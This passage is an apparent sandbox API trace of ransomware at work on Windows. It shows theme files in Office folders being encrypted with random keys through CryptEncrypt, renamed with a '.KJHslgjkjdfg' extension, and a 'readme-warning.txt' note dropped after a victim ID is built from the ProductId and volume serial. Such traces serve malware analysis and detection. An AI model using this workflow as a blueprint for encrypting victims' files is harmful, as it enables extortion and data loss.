lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.726] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.726] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.726] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.726] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.726] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.726] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.726] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1f4, lpOverlapped=0x0) returned 1 [0188.726] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200, dwBufLen=0x200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200) returned 1 [0188.726] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.726] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x200, lpOverlapped=0x0) returned 1 [0188.727] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.727] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.727] SetEndOfFile (hFile=0x12c) returned 1 [0188.729] GetProcessHeap () returned 0x2ef0000 [0188.729] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.729] GetProcessHeap () returned 0x2ef0000 [0188.729] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.kjhslgjkjdfg")) returned 1 [0188.733] CloseHandle (hObject=0x12c) returned 1 [0188.733] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0188.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.734] GetProcessHeap () returned 0x2ef0000 [0188.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.734] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.734] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.734] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0188.735] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.735] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.735] GetProcessHeap () returned 0x2ef0000 [0188.735] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.735] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.735] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.735] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.735] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.736] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.736] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.736] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.736] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.736] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.736] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.736] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6a29, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6a29, lpOverlapped=0x0) returned 1 [0188.737] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6a30, dwBufLen=0x6a30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6a30) returned 1 [0188.738] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x6a30, lpOverlapped=0x0) returned 1 [0188.738] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.738] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.738] SetEndOfFile (hFile=0x12c) returned 1 [0188.740] GetProcessHeap () returned 0x2ef0000 [0188.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.740] GetProcessHeap () returned 0x2ef0000 [0188.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0188.741] CloseHandle (hObject=0x12c) returned 1 [0188.741] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0188.741] GetProcessHeap () returned 0x2ef0000 [0188.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.741] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.742] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0188.742] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.742] GetProcessHeap () returned 0x2ef0000 [0188.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0188.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.742] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0188.742] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.742] GetProcessHeap () returned 0x2ef0000 [0188.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0188.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.742] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0188.742] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.742] GetProcessHeap () returned 0x2ef0000 [0188.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0188.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.742] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0188.742] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.742] GetProcessHeap () returned 0x2ef0000 [0188.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.742] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0188.743] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.743] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0188.743] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0188.743] RegCloseKey (hKey=0x12c) returned 0x0 [0188.743] GetProcessHeap () returned 0x2ef0000 [0188.743] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0188.743] GetProcessHeap () returned 0x2ef0000 [0188.743] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.743] GetProcessHeap () returned 0x2ef0000 [0188.743] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.743] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.743] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0188.743] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.743] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0188.743] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0188.744] GetProcessHeap () returned 0x2ef0000 [0188.744] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.744] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0188.744] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0188.744] GetProcessHeap () returned 0x2ef0000 [0188.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0188.744] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\readme-warning.txt") returned 80 [0188.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.745] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0188.746] CloseHandle (hObject=0x12c) returned 1 [0188.747] GetProcessHeap () returned 0x2ef0000 [0188.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0188.747] GetProcessHeap () returned 0x2ef0000 [0188.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0188.747] GetProcessHeap () returned 0x2ef0000 [0188.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0188.747] GetProcessHeap () returned 0x2ef0000 [0188.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.747] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0188.747] GetProcessHeap () returned 0x2ef0000 [0188.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0188.747] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0188.747] GetProcessHeap () returned 0x2ef0000 [0188.747] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0188.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0188.748] GetProcessHeap () returned 0x2ef0000 [0188.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0188.748] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0188.748] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0188.748] GetProcessHeap () returned 0x2ef0000 [0188.748] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f10788 [0188.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.749] GetProcessHeap () returned 0x2ef0000 [0188.749] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.749] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.749] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.749] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0188.751] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.751] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.751] GetProcessHeap () returned 0x2ef0000 [0188.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.751] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.751] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.751] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.752] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.752] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.752] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.752] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.752] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.752] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.752] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.752] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.752] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8a1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x8a1, lpOverlapped=0x0) returned 1 [0188.752] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8b0) returned 1 [0188.752] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.752] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x8b0, lpOverlapped=0x0) returned 1 [0188.753] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.753] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.753] SetEndOfFile (hFile=0x12c) returned 1 [0188.755] GetProcessHeap () returned 0x2ef0000 [0188.755] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.755] GetProcessHeap () returned 0x2ef0000 [0188.755] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft 